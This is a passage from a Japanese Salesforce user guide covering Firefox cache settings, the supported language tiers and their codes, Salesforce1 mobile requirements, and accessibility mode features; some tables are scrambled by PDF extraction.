4. 次のキャッシング設定を行って、要求間で共通のリソースをブラウザで維持する方法を変更します。

デフォルト値推奨値Preference

33browser.cache.check_doc_frequency

50,00050,000 以上。ハードディスク使用量を増やし
ます。

browser.cache.disk.capacity

truetruebrowser.cache.disk.enable

falsetruebrowser.cache.disk_cache_ssl

truetruebrowser.cache.memory.enable

メモ: これらの設定のいくつかについては、Firefox ブラウザで [ツール] > [オプション] をクリックして
設定することもできます。詳細については、「Firefox」を参照してください。

ヒント:  privacy.sanitize.sanitizeOnShutdown を「True」に設定すると、Firefox の終了時にキャッシュがクリアさ
れます。この設定では、プライバシーは保護されますが、パフォーマンスが低下する場合があります。
キャッシュの内容を表示するには、Firefox のロケーションバーに「about:cache」と入力し、Enter キー
を押します。
上記およびそれ以外の設定についての詳細は、「Firefox」および「Firefox」を参照してください。

サポート言語
Salesforce では、完全にサポートされる言語、エンドユーザ言語、およびプラットフォームのみの言語という 3

つのレベルの言語がサポートされています。
各言語は 2 文字の言語コード (en など) または 5 文字の地域コード (en_AU など) で識別されます。
Salesforce の言語サポートに加え、2 通りの方法で組織をローカライズできます。トランスレーションワークベ
ンチを使用して翻訳する言語を指定し、翻訳者を言語に割り当ててSalesforce組織に作成したカスタマイズの翻
訳を作成し、管理対象パッケージから表示ラベルと翻訳を上書きすることができます。カスタム選択リスト値
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からカスタム項目にいたるすべてを翻訳し、海外のユーザがSalesforceのすべてを彼らの言語で使用できるよう
になります。
2 つ目の方法は、Salesforce のタブおよび項目の名前を変更するというものです。カスタムアプリケーションで
使用される Salesforce の標準タブと項目の数が少ない場合は、それらを翻訳できます。

完全サポート対象言語
ヘルプも含めて、すべての機能の言語は、[設定] ページから、次の完全サポート対象言語のいずれかに変更で
きます。[クイック検索] ボックスに「組織情報」と入力し、[組織情報] を選択してから [編集] を選択します。
• 中国語 (簡体字): zh_CN

• 中国語 (繁体字): zh_TW

• デンマーク語: da

• オランダ語: nl_NL

• 英語: en_US

• フィンランド語: fi

• フランス語: fr

• ドイツ語: de

• イタリア語: it

• 日本語: ja

• 韓国語: ko

• ノルウェー語: no

• ポルトガル語 (ブラジル): pt_BR

• ロシア語: ru

• スペイン語: es

• スペイン語 (メキシコ): es_MX

• スウェーデン語: sv

• タイ語: th

メモ:

• スペイン語 (メキシコ) は、顧客が定義した翻訳のスペイン語に戻ります。
• Salesforce ユーザインターフェースが完全にタイ語に翻訳されている場合でも、ヘルプは英語のままで

す。

エンドユーザ言語
エンドユーザ言語は、会社で一般的に使用されている言語とは異なる言語を使用する多言語組織やパートナー
がある場合に便利です。エンドユーザ言語の場合、Salesforce では、管理ページ、設定、およびヘルプを除くす
べての標準オブジェクトとページに翻訳済み表示ラベルが示されます。エンドユーザ言語を指定すると、翻訳
されていない表示ラベルとヘルプは、英語で表示されます。エンドユーザ言語は、エンドユーザによる個人的

19

サポートされるブラウザ、言語、およびアクセシビリ
ティ基準

Salesforce の使用開始



な使用のみを想定しています。エンドユーザ言語をマスタ言語として使用しないでください。Salesforce は、エ
ンドユーザ言語のカスタマーサポートは提供していません。
次のようなエンドユーザ言語があります。
• アラビア語: ar

• ブルガリア語: bg

• クロアチア語: hr

• チェコ語: cs

• 英語 (UK): en_GB

• ギリシャ語: el

• ヘブライ語: iw

• ハンガリー語: hu

• インドネシア語: in

• ポーランド語: pl

• ポルトガル語 (ポルトガル): pt_PT

• ルーマニア語: ro

• スロバキア語: sk

• スロベニア語: sl

• トルコ語: tr

• ウクライナ語: uk

• ベトナム語: vi

メモ: 次の機能では、アラビア語やヘブライ語などの右から左へ記述される言語のサポートが制限されま
す。
• Live Agent

• ケース
• 取引先
これらの機能は、Lightning Experience、Salesforce1モバイルアプリケーション、その他のモバイルアプリケー
ションやモバイルブラウザ、または Salesforce Classic以外のユーザインターフェースではサポートされてい
ません。他の Salesforce 機能では右から左へ記述される言語の機能が正常に動作するという保証はありま
せん。サポートされる機能が拡張される予定もありません。
右から左へ記述される言語でサポートされない機能は、次のとおりです。
• レポートビルダー
• 見積 PDF の生成
• カスタマイザブル売上予測
• メール
• Salesforce ナレッジ
• フィード
• コミュニティ

20

サポートされるブラウザ、言語、およびアクセシビリ
ティ基準

Salesforce の使用開始



このリストに含まれていない機能が、サポートされるわけではありません。右から左へ記述される言語
でサポートされるのは、Live Agent、ケース、および取引先のみです。

プラットフォーム専用言語
Salesforce でデフォルトの翻訳が提供されない場合、プラットフォーム専用言語を使用して、Salesforce App Cloud

で作成したアプリケーションおよびカスタム機能をローカライズします。カスタム表示ラベル、カスタムオブ
ジェクト、項目名などの項目を翻訳できます。また、ほとんどの標準オブジェクト、表示ラベル、項目の名前
を変更できます。情報テキストと項目以外の表示ラベルのテキストは翻訳できません。
プラットフォーム専用言語は、アプリケーションで言語を選択できるすべての場所で使用できます。ただし、
プラットフォーム専用言語を選択しても、Salesforce の標準の表示ラベルはすべてデフォルトの英語のままにな
ります。または、一部ではエンドユーザ言語または完全にサポートされる言語になります。
プラットフォーム専用言語を指定すると、標準オブジェクトおよび項目の表示ラベルが、次の例外を除いて英
語に戻ります。
• 英語 (オーストラリア)、英語 (インド)、英語 (マレーシア)、および英語 (フィリピン) は、英語 (UK) に戻りま

す。
• フランス語 (ベルギー)、フランス語 (カナダ)、フランス語 (ルクセンブルグ)、フランス語 (スイス) はフラン

ス語に戻ります。
• ドイツ語 (オーストリア)、ドイツ語 (ルクセンブルグ)、ドイツ語 (スイス) はドイツ語に戻ります。
• イタリア語 (スイス) はイタリア語に戻ります。
• ルーマニア語 (モルドバ) は、ルーマニア語に戻ります。
• モンテネグロ語は、セルビア語 (ラテン文字) に戻ります。
• ポルトガル語 (ポルトガル) は、ポルトガル語 (ブラジル) に戻ります。
現在サポートされているプラットフォーム専用言語は次のとおりです。
• アルバニア語: sq

• アラビア語 (アルジェリア): ar_DZ

• アラビア語 (バーレーン): ar_BH

• アラビア語 (エジプト): ar_EG

• アラビア語 (イラク): ar_IQ

• アラビア語 (ヨルダン): ar_JO

• アラビア語 (クウェート): ar_KW

• アラビア語 (レバノン): ar_LB

• アラビア語 (リビア): ar_LY

• アラビア語 (モロッコ): ar_MA

• アラビア語 (オマーン): ar_OM

• アラビア語 (カタール): ar_QA

• アラビア語 (サウジアラビア): ar_SA

• アラビア語 (スーダン): ar_SD

• アラビア語 (シリア): ar_SY
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• アラビア語 (チュニジア): ar_TN

• アラビア語 (アラブ首長国連邦): ar_AE

• アラビア語 (イエメン): ar_YE

• アルメニア語: hy

• バスク語: eu

• ボスニア語: bs

• ベンガル語: bn

• 中国語 (簡体字 — シンガポール): zh_SG

• 中国語 (繁体字 — 香港): zh_HK

• 英語 (オーストラリア): en_AU

• 英語 (カナダ): en_CA

• 英語 (香港): en_HK

• 英語 (インド): en_IN

• 英語 (アイルランド): en_IE

• 英語 (マレーシア): en_MY

• 英語 (フィリピン): en_PH

• 英語 (シンガポール): en_SG

• 英語 (南アフリカ): en_ZA

• エストニア語: et

• フランス語 (ベルギー): fr_BE

• フランス語 (カナダ): fr_CA

• フランス語 (ルクセンブルグ): fr_LU

• フランス語 (スイス): fr_CH

• グルジア語: ka

• ドイツ語 (オーストリア): de_AT

• ドイツ語 (ルクセンブルグ): de_LU

• ドイツ語 (スイス): de_CH

• ヒンドゥー語: hi

• アイスランド語: is

• アイルランド語: ga

• イタリア語 (スイス): it_CH

• ラトビア語: lv

• リトアニア語: lt

• ルクセンブルク語: lb

• マケドニア語: mk

• マレー語 : ms

• マルタ語: mt

22

サポートされるブラウザ、言語、およびアクセシビリ
ティ基準

Salesforce の使用開始



• ルーマニア語 (モルドバ): ro_MD

• モンテネグロ語: sh_ME

• ロマンシュ語: rm

• セルビア語 (キリル文字): sr

• セルビア語 (ラテン文字): sh

• スペイン語 (アルゼンチン): es_AR

• スペイン語 (ボリビア): es_BO

• スペイン語 (チリ): es_CL

• スペイン語 (コロンビア): es_CO

• スペイン語 (コスタリカ): es_CR

• スペイン語 (ドミニカ共和国): es_DO

• スペイン語 (エクアドル): es_EC

• スペイン語 (エルサルバドル): es_SV

• スペイン語 (グアテマラ): es_GT

• スペイン語 (ホンジュラス): es_HN

• スペイン語 (ニカラグア): es_NI

• スペイン語 (パナマ): es_PA

• スペイン語 (パラグアイ): es_PY

• スペイン語 (ペルー): es_PE

• スペイン語 (プエルトリコ): es_PR

• スペイン語 (アメリカ): es_US

• スペイン語 (ウルグアイ): es_UY

• スペイン語 (ベネズエラ): es_VE

• タガログ語: tl

• タミル語: ta

• ウルドゥー語: ur

• ウェールズ語: cy

関連トピック:

言語、ロケール、通貨の選択
トランスレーションワークベンチの有効化および無効化
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Salesforce1 モバイルアプリケーションの要件

エディション

Salesforce1モバイルアプリ
ケーションを使用可能な
エディション:
Database.com Edition を除
くすべてのエディション

Salesforce1 は、ほとんどの Salesforce エディションおよびユーザライセンスの種類
で使用できます。このアプリケーションは各種のモバイルプラットフォームで
サポートされますが、オペレーティングシステムの最小要件およびモバイルブ
ラウザ要件があります。
モバイルプラットフォーム要件
次のモバイルプラットフォーム要件を満たす携帯電話やタブレットで Salesforce1

を使用できます。

モバイルブラウザ要件
*

オペレーティングシステムおよびバー
ジョン要件

Android の Google Chrome

Android の Good Access

Android 4.4 以降

iOS の Apple Safari

iOS 上の Good Access ブラウザ
iOS 10.0 以降

Windows Phone 10 の Edge ブラウザのみWindows 10 (モバイルブラウザアプリ
ケーションのみ)

Windows Phone 8.1 の Microsoft Internet

Explorer 11 のみ (2017 年 12 月 17 日でサ
ポートを終了)

Windows 8.1 (モバイルブラウザアプリ
ケーションのみ)

* モバイルブラウザ要件は、Salesforce1 モバイルブラウザアプリケーションにのみ適用されます。
• モバイルブラウザの最新バージョンが必要です。
• モバイルブラウザアプリケーションを使用している場合、Chrome のシークレットモード、Safari のプライ

ベートブラウズ、Edge または Internet Explorer の InPrivate ブラウズをオフにすることをお勧めします。
Salesforce1 テストに使用されるモバイルデバイス
Salesforce は、選択した一連のモバイルデバイスで Salesforce1 ダウンロード可能アプリケーションおよびモバイ
ルブラウザアプリケーションの自動テストや手動テストを実行します。次は Salesforce1 のテストに使用するデ
バイスの現在のリストです。

タブレット携帯電話プラットフォーム

Android • Samsung Galaxy Tab S2• Google Nexus 5X

• Google Nexus 6P • Samsung Galaxy Tab A 8.0

• Samsung Galaxy S7

• Samsung Galaxy S6

• Samsung Galaxy S5
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タブレット携帯電話プラットフォーム

• Samsung Galaxy S4

• Samsung Galaxy Note 4

iOS • iPad Pro (9.7 インチおよび 12.9 イ
ンチ)

• iPhone 7/7 Plus

• iPhone 6S/6S Plus

• iPad Air 2• iPhone 6/6 Plus

• iPad Mini 4• iPhone 5S

• iPhone SE

Windows

(モバイルブラウザアプリケーショ
ンのみ)

•• Nokia 1020 (Windows 8.1 搭載) N/A

• Lumia 950 (Windows 10 搭載)

顧客は、現在のプラットフォーム要件を満たしていればテスト対象外デバイスでもSalesforce1を使用できます。
Salesforce1 でテスト済みのデバイスのリストは、事前の通知の有無に関わらず変更される場合があります。

メモ: Salesforce では、Microsoft Surface や Microsoft Surface Pro デバイスなどのタッチ対応ラップトップは、タ
ブレットではなくラップトップとして扱います。これらのデバイスでは、Salesforce1 にアクセスできませ
ん。ユーザは、有効になっているフルサイト環境 (Lightning Experience または Salesforce Classic) にリダイレク
トされます。これらの種類のデバイスでは、標準のキーボードとマウスによる入力のみがサポートされ
ています。

ほとんどのデバイスでは、Salesforce1 は縦方向でのみ機能します。iPad タブレット上で Salesforce1 ダウンロード
可能アプリケーションを使用している場合は例外で、縦方向と横方向の両方がサポートされます。
Salesforce のエディションおよびライセンス
Salesforce1の使用がサポートされているSalesforceエディションとユーザライセンスの種類は、次のとおりです。

Salesforce エディション

次のエディションでは使用できません。Salesforce1 は次のエディションで使用できます。
• Database.com Edition• Personal Edition

• Group Edition

• Professional Edition

• Enterprise Edition

• Performance Edition

• Unlimited Edition

• Developer Edition

• Contact Manager Edition

ユーザライセンスの種類
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次の種類のユーザライセンスではモバイルアプリケー
ションにアクセスできません。

Salesforce1 にアクセスできるユーザライセンスの種類
は次のとおりです。特別な Salesforce1 ライセンスまた
はモバイルライセンスは必要ありません。 • ポータルユーザ (Salesforceコミュニティのメンバー

である場合を除く)• Salesforce ユーザ
• Database.com ユーザ• Salesforce プラットフォームおよび Force.com ユーザ

• Chatter Plus ユーザ (Chatter Only とも呼ばれる)、Chatter

Free ユーザ、および Chatter External ユーザ*

• サイトおよび Site.com ユーザ
• Data.com ユーザ

• カスタマーコミュニティ、カスタマーコミュニティ
プラス、およびパートナーコミュニティの外部ユー
ザ

• Work.com ユーザ

• Salesforce コミュニティのメンバーであるポータル
ユーザ

メモ: 組織のSalesforceエディション、ユーザライセンスの種類、および割り当てられたユーザプロファイ
ルおよび権限セットによって決まる、フルサイトで使用できるデータや機能と同じデータや機能にアク
セスできます。
*Chatter Plus、Chatter Free、および Chatter External のユーザがいずれかの Salesforce1 ダウンロード可能アプリ
ケーションを使用するためには、「API の有効化」プロファイル権限が有効になっている必要があります。
API アクセス権を持つ Chatter External ユーザは、ダウンロード可能アプリケーションの使用時に [グループ]

および [人] リストビューにアクセスできません。

ワイヤレス接続
Salesforceと通信するには、Wi-Fi®または携帯電話ネットワーク接続が必要です。携帯電話接続の場合は、3G ネッ
トワーク以上が必要です。最適なパフォーマンスを得るには、Wi-Fi または LTE の使用をお勧めします。
いずれかの Salesforce1 ダウンロード可能アプリケーションを使用している場合は、デバイスがオフライン時に
最近アクセスしたレコードの参照や、レコードの作成および編集を行うことができます。

アクセシビリティ基準

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

アクセシビリティを念頭に置いてアプリケーションを設計するために Salesforce

が従う基準について説明します。
Salesforce では、音声認識ソフトウェアやスクリーンリーダーなどの補助デバイ
スを使用するユーザを含む、すべてのユーザがアクセス可能なオンデマンドエ
ンタープライズアプリケーションを提供するよう努めています。ユニバーサル
設計の目標を達成するために、Salesforce は、国際的に認められているリハビリ
テーション法セクション 508 および Web Content Accessibility Guidelines (WCAG) 2.0 レ
ベル AA のベストプラクティスに可能な限り従います。
当社の Voluntary Product Accessibility Template (VPAT) は、リハビリテーション法セク
ション 508 の下でのアクセシビリティ基準への製品の適合を文書化するために使用するツールであり、当社製
品のアクセシビリティ評価が含まれています。
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一般的なアクセシビリティの要件
Salesforce を使用するときは、次の要件に留意してください。
• JavaScript のサポートを有効化し、使用可能になっている必要があります。
• 無操作状態が特定の期間続くと、セッションタイムアウト時のポップアップウィンドウが自動的に表示さ

れ、ログアウトまたは作業を続行するかどうかの確認メッセージが表示されます。システム管理者は、こ
の期間を設定したり、すべて無効にしたりできます。ブラウザで Salesforce のポップアップを許可する必要
があります。許可がないと、ユーザはタイムアウトの警告を受信できません。

• パイロット版やベータ版の機能にアクセスできない場合があります。

推奨されるブラウザ
一般的なアクセシビリティテストの場合、Salesforceは Windows®の Mozilla® Firefox®および Microsoft® Internet Explorer®、
OS X® の Apple® Safari® の最新バージョンを使用します。

アクセシビリティ上の懸念に関する Salesforce への問い合わせ
ドキュメントや知識ベースの記事にアクセスしたり、カスタマーサポートに問い合わせたりするには、任意の
ページの上部にある [ヘルプ & トレーニング] リンクをクリックします。
アクセシビリティ上の懸念を報告したり、異なる形式のドキュメントを要求したりするには、
accessibility@salesforce.com にメールでご連絡ください。

メモ:  Personal Edition および Developer Edition のユーザは、カスタマーサポートを利用できません。さらに、
Developer Edition のユーザからは知識ベースにアクセスできません。アクセシビリティについては、
accessibility@salesforce.com まで英語でお問い合わせください。

アクセシビリティモード
アクセシビリティモードによって、Salesforce の操作性がどのように変化するかについて説明します。
アクセシビリティモードの有効化
アクセシビリティモードを有効にすることで、音声認識ソフトウェアやスクリーンリーダーなどの補助デ
バイスでの Salesforce の操作性を最適化できます。
Salesforce アクセシビリティの推奨事項
音声認識ソフトウェアやスクリーンリーダーなどの補助デバイスを使用するユーザ向けに設計された、ア
クセシビリティ機能について説明します。
Salesforce1 モバイルアプリケーションのアクセシビリティに関する考慮事項
Salesforce1モバイルアプリケーションは、スクリーンリーダーなどのアクセシビリティ機能を使用するユー
ザが十分に利用できるモバイルの操作性を提供するように設計されています。Salesforce フルサイトとは異
なり、Salesforce1 ではアクセシビリティモードを必要としません。補助デバイスで Salesforce1 を使用する場
合、次の考慮事項を参照してください。
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アクセシビリティモード

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

アクセシビリティモードによって、Salesforce の操作性がどのように変化するか
について説明します。
Salesforce には、代替ユーザインターフェースモードがあります。このモードで
は、音声認識ソフトウェアやスクリーンリーダーなどの補助デバイスを使用す
るユーザが、Salesforce でより効率的に作業できます。最新の機能はアクセシビ
リティを念頭に置いて設計され、本来標準モードでアクセス可能です。ただし、
特に音声認識ソフトウェアやスクリーンリーダーを使用してレポートとダッシュ
ボードを作成したり、リストビューを操作したりする場合、アクセシビリティ
モードの方がニーズにより適切に対応できる可能性があります。
アクセシビリティモードには、補助デバイスを使用するユーザの操作性を高めるためにここで説明されている
変更が加えられた、Salesforce の全機能が含まれています。

使いやすさを向上させるアクセシビリティモードの機能
• ページの上部にある [設定] リンクから設定ページにアクセスできます。
• ドロップダウンメニューに [Go] ボタンが含まれます。ドロップダウンリストで選択したオプションに移動

するには、このボタンを選択します。
• メニューボタンは、[Go] ボタン付きのドロップダウンリストとして表示されます。
• フロート表示のページは、個別のポップアップウィンドウとして表示されます。
• HTML エディタは、テキストボックスに置き換えられます。このテキストボックスは HTML のみを承認し、

改行記号のようなプレーンテキストエントリは認識しません。内容を分割するには、パラグラフまたは改
行の HTML タグを使用する必要があります。

• ダッシュボードを表示する場合、[ダッシュボードの参照] 自動入力フィルタは標準のドロップダウンメ
ニューと置き換えられます。

• キャンペーン詳細ページの [メンバーの管理] ドロップダウンからアクセスできる [メンバーの管理] ページ
の [列を編集する] リンクは、ドロップダウンボタンになります。[列の編集] フロート表示は、標準の設定
ページに置き換えられます。

• [活動予定] 関連リストやリストビューにある要請済みミーティングをクリックしても、ミーティングの詳
細ページは表示されません。その代わりに、要請済みミーティングに関する詳細についてはミーティング
主催者に問い合わせるように指示するダイアログが表示されます。

• Chatter グループの [私のメールをオンにする] ドロップダウンリストが [Chatter のメール設定] リンクとして
表示され、そこから Chatter メールを受信するための設定が開きます。

無効なカレンダー機能
• カレンダービューでの行動の詳細のフロート表示
• ドラッグアンドドロップによる編集
• ドラッグアンドドロップによるスケジュール
• 行動のクリック作成
• [活動予定] 関連リストの [新規ミーティング要請] ボタン
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メモ: その結果、アクセシビリティモードではミーティングを要請することはできず、[ホーム] タブの
[カレンダー] セクションの [要請済みミーティング] サブタブには、どのミーティングも表示されませ
ん。

無効なレポートおよびダッシュボード機能
• ダッシュボードビルダーでのドラッグアンドドロップ編集
• レポートビルダーでのレポートの作成と編集

メモ: 結合レポートとクロス条件またはバケットを含むレポートを作成または編集するには、レポー
トビルダーが必要です。アクセシビリティモードが有効になっている場合、ユーザはこれらのレポー
トの実行はできますが、作成と編集はできません。アクセシビリティモードでレポートを作成するに
は、レポートウィザードを使用する必要があります。

• フォルダ間でレポートやダッシュボードをドラッグアンドドロップして移動

無効なリストビュー機能
• 関連リストのフロート表示リンク
• 次の拡張リスト機能

– インライン編集
– 列幅の再配置と調整
– 現在のリストビューの編集、削除、または更新
– 1 ページに表示するレコード数の変更
– 結果の特定のページへの移動

その他の無効な機能
• ソリューション用の [スペルチェック] ボタン
• 最新の [メンバーの管理] ページ
• サイドバーにタグコンポーネントを追加する場合の [最近参照したタグ] ドロップダウンメニュー
• 類似商談の検索時の検索結果ページの [一致条件] サイドバー
• アンサーコミュニティでの質問入力時の類似質問のリスト

ヒント: アクセシビリティモードが有効になっているユーザは、質問を投稿する前に、[アンサー] タブ
の [検索] ボックスを使用してすでに同様の質問がされていないか検索する必要があります。
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アクセシビリティモードの有効化

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

アクセシビリティモードを有効にすることで、音声認識ソフトウェアやスクリー
ンリーダーなどの補助デバイスでの Salesforce の操作性を最適化できます。
1. [個人設定] から、[クイック検索]ボックスに「アクセシビリティ」と入力し、

[アクセシビリティ]を選択します。一致する結果がない場合は、[クイック検
索] ボックスに「個人情報」と入力し、[個人情報] を選択します。

2. [アクセシビリティモード] を選択します。
3. [保存] をクリックします。

Salesforce アクセシビリティの推奨事項

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

音声認識ソフトウェアやスクリーンリーダーなどの補助デバイスを使用するユー
ザ向けに設計された、アクセシビリティ機能について説明します。
Salesforce での作業に役立ついくつかの推奨事項を次に示します。

晴眼のキーボードユーザ
晴眼のキーボードユーザ向けに設計された Salesforce のアクセシビリティ機能
について説明します。
スクリーンリーダーのユーザ
スクリーンリーダーのユーザ向けに設計された Salesforce のアクセシビリティ機能について説明します。
聴覚障害のあるユーザ
Salesforce では、YouTube でホストされるデモビデオを提供しています。
特定色の識別障害を持つユーザ
ブラウザとオペレーティングシステムでの設定によって特定の色の組み合わせの表示を変更するユーザ向
けのヒント。
拡大を必要とする弱視ユーザ
Salesforce では、標準の OS レベル、ブラウザ、およびサードパーティ拡大ツールがサポートされます。ニー
ズに合わせて拡大設定を調整できます。

晴眼のキーボードユーザ

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

晴眼のキーボードユーザ向けに設計された Salesforce のアクセシビリティ機能に
ついて説明します。
次の Salesforce 機能によって、容易な操作性を確保できます。
• アクセシビリティモードでは、Salesforce、特にレポート、ダッシュボード、

およびリストビューでより効率的に作業できます。詳細は、「アクセシビリ
ティモード」 (ページ 28)を参照してください。

• 画面の選択領域内が強調表示されるため、画面上のフォーカスを視覚的に確
認できます。

• 次の要素は、操作しやすいようにページマークアップで識別されます。
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ヘッダーは、フォームコントロールをグループ化するため、項目セットや凡例要素の代わりにヘッダー
としてマークアップされます。

–

– ページのメインヘッダー (通常、メインのコンテンツ領域の先頭に置かれています) は、レベル 1 ヘッ
ダーです。ショートカットキーを使用して、このヘッダーに移動できます。

– データテーブルには、データテーブルマークアップが付き (標準モードのみの拡張リストビューは除く)、
各セルとヘッダーを識別します。

– メインのコンテンツ領域にあるリストは、リストとしてマークアップされます。
• スキップリンク (キーボードのフォーカスが置かれる各ページ上の最初のリンク) によって、メインのコン

テンツ領域の先頭にフォーカスを移動できます。通常、この機能はメインのコンテンツ領域の前にあるナ
ビゲーションメニューを迂回します。ページのメインのコンテンツ領域にアクセスするために押す必要が
あるタブ数が大幅に削減されます。

• キーボードのフォーカスは、ダイアログボックスが開かれたときはダイアログ内に置かれ、ダイアログを
閉じるまでロックされたままになります。

• 編集ページでは、ページの最初の編集可能項目にキーボードがデフォルト設定されます。ToDo や予定を作
成または編集する場合、[件名] 項目がページのどこにあるかに関係なく、キーボードのフォーカスは [件名]

にデフォルト設定されます。
• 現在有効でないボタン、リンクおよび項目には、「無効化」属性でラベル付けされます。たとえば、複数

のステップを持つウィザードを使用する場合に、特定のオプションを選択するまで一部のボタンは無効に
なります。

スクリーンリーダーのユーザ

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

スクリーンリーダーのユーザ向けに設計された Salesforce のアクセシビリティ機
能について説明します。
Salesforce のオンデマンドアプリケーションは、最も広く使用されているスクリー
ンリーダーの最新の機能を利用するように設計されています。最新バージョン
の Mozilla® Firefox®および JAWS®または NVDA を Salesforce で使用することをお勧めし
ます。
次の Salesforce 機能によって、容易な操作性を確保できます。
• アクセシビリティモードでは、Salesforce、特にレポート、ダッシュボード、

およびリストビューでより効率的に作業できます。詳細は、「アクセシビリティモード」 (ページ 28)を参
照してください。

• 重要な画像は、画像と同じ目的を果たすテキストで代替できるようにします。それほど重要でない画像は、
相当するテキストを空白にするか、CSS から実装します。詳しい情報を示す画像も、ソースデータへのリン
クになります。たとえば、ダッシュボードには、視覚的な図およびグラフがあります。この図およびグラ
フの作成に使用されたレポートのデータにアクセスするには、ダッシュボードコンポーネントを選択しま
す。

メモ: ソースとなるレポートには、ダッシュボードコンポーネントに表示されているデータより多く
のデータが含まれる場合があります。また、共有設定により表示するためのアクセス権がないデータ
が含まれる場合もあります。

• 次の要素は、操作しやすいようにページマークアップで識別されます。
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ヘッダーは、フォームコントロールをグループ化するため、項目セットや凡例要素の代わりにヘッダー
としてマークアップされます。

–

– ページのメインヘッダー (通常、メインのコンテンツ領域の先頭に置かれています) は、レベル 1 ヘッ
ダーです。ショートカットキーを使用して、このヘッダーに移動できます。

– データテーブルには、データテーブルマークアップが付き (標準モードのみの拡張リストビューは除く)、
各セルとヘッダーを識別します。

– メインのコンテンツ領域にあるリストは、リストとしてマークアップされます。
• スキップリンク (キーボードのフォーカスが置かれる各ページ上の最初のリンク) によって、メインのコン

テンツ領域の先頭にフォーカスを移動できます。通常、この機能はメインのコンテンツ領域の前にあるナ
ビゲーションメニューを迂回します。ページのメインのコンテンツ領域にアクセスするために押す必要が
あるタブ数が大幅に削減されます。

• キーボードのフォーカスは、ダイアログボックスが開かれたときはダイアログ内に置かれ、ダイアログを
閉じるまでロックされたままになります。

• 編集ページでは、ページの最初の編集可能項目にキーボードがデフォルト設定されます。ToDo や予定を作
成または編集する場合、[件名] 項目がページのどこにあるかに関係なく、キーボードのフォーカスは [件名]

にデフォルト設定されます。
• 現在有効でないボタン、リンクおよび項目には、「無効化」属性でラベル付けされます。たとえば、複数

のステップを持つウィザードを使用する場合に、特定のオプションを選択するまで一部のボタンは無効に
なります。

また、スクリーンリーダーで個人用 Web 設定を次のように設定することをお勧めします。
• ページを自動的に更新するように設定する。
• ライブ領域の更新の読み上げをオンにする。
• テキストリンクにタイトルを表示するように設定する。この設定により、リンクのタイトル属性から提供

される情報 (新しいウィンドウの警告など) をスクリーンリーダーが読み上げます。
• ヘッダーで [ヘッダー] と [レベル] を読み上げるように設定する。ヘッダーマークアップを使用して、コン

テキストとナビゲーションを提供します。
• Chatter 投稿およびコメントで人にメンションする場合の @ (アットマーク) 記号などの共通の記号をスクリー

ンリーダーの辞書に追加する。

聴覚障害のあるユーザ

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

Salesforce では、YouTube でホストされるデモビデオを提供しています。
動画の同期キャプションを表示するには、埋め込み動画の右下隅にある
[YouTube.com で表示] をクリックします。
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特定色の識別障害を持つユーザ

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

ブラウザとオペレーティングシステムでの設定によって特定の色の組み合わせ
の表示を変更するユーザ向けのヒント。
ブラウザとオペレーティングシステムの設定では、画像内に表示される色は変
更されません。Salesforce は数多くの画像を背景画像として実装しています。そ
れらの背景画像は、色表示に関するブラウザとオペレーティングシステムの設
定が有効な場合には表示されません。ブラウザとオペレーティングシステムで
の設定によって特定の色の組み合わせの表示を変更する場合、次の操作を実行
します。
• 画像の代替テキストを表示して重要な画像が提供する情報にアクセスする。
• CSS の assistiveText、zen-assistiveText クラスを上書きする。その後、必要に応じてブラウザ設定を指定します。
さらに、次の操作も実行します。
• グラフによっては (たとえば、レポートやダッシュボードのグラフ)、情報を表示する色に依存します。グ

ラフ内の情報を解釈できない場合は、個人の詳細情報ページで [グラフの色覚障害者用パレット] を選択し
ます。このオプションは、色覚障害のあるユーザが使用するために最適化されたグラフ用の代替カラーパ
レットを設定します。ダッシュボードメールでは、代替パレットは使用されません。グラフをクリックし
ても、ソースレポートを参照できます。

• ダッシュボードには、視覚的な図およびグラフがあります。この図およびグラフの作成に使用されたレポー
トのデータにアクセスするには、ダッシュボードコンポーネントを選択します。

メモ: ソースとなるレポートには、ダッシュボードコンポーネントに表示されているデータより多く
のデータが含まれる場合があります。また、共有設定により表示するためのアクセス権がないデータ
が含まれる場合もあります。

拡大を必要とする弱視ユーザ

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

Salesforce では、標準の OS レベル、ブラウザ、およびサードパーティ拡大ツール
がサポートされます。ニーズに合わせて拡大設定を調整できます。
次の要素は、ページマークアップで識別されます。識別しやすくするため、要
素のスタイルを変更できます。
• ヘッダーは、フォームコントロールをグループ化するため、項目セットや凡

例要素の代わりにヘッダーとしてマークアップされます。
• ページのメインヘッダー (通常、メインのコンテンツ領域の先頭に置かれて

います) は、レベル 1 ヘッダーです。ショートカットキーを使用して、この
ヘッダーに移動できます。

• データテーブルには、データテーブルマークアップが付き (標準モードのみの拡張リストビューは除く)、
各セルとヘッダーを識別します。

• メインのコンテンツ領域にあるリストは、リストとしてマークアップされます。
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Salesforce1 モバイルアプリケーションのアクセシビリティに関する考慮事項

エディション

Salesforce1モバイルアプリ
ケーションを使用可能な
エディション:
Database.com Edition を除
くすべてのエディション

Salesforce1 モバイルアプリケーションは、スクリーンリーダーなどのアクセシビ
リティ機能を使用するユーザが十分に利用できるモバイルの操作性を提供する
ように設計されています。Salesforce フルサイトとは異なり、Salesforce1 ではアク
セシビリティモードを必要としません。補助デバイスでSalesforce1を使用する場
合、次の考慮事項を参照してください。
Salesforce1では、iOS デバイスの VoiceOver および AssistiveTouch、Android デバイスの
TalkBack および Explore by Touch など、モバイルデバイスに組み込まれたすべての
アクセシビリティ機能を使用できます。ただし、これらのアクセシビリティ機
能に影響する次の既知の問題があります。
iOS デバイスの場合、支援技術ユーザは次の問題を考慮する必要があります。
• VoiceOver が有効になっている場合、一部のページでは 3 本指でのスクロールができないことがあります。

代わりに、画面の上下にあるボタンを使用して垂直方向にスクロールし、画面の左右にあるボタンを使用
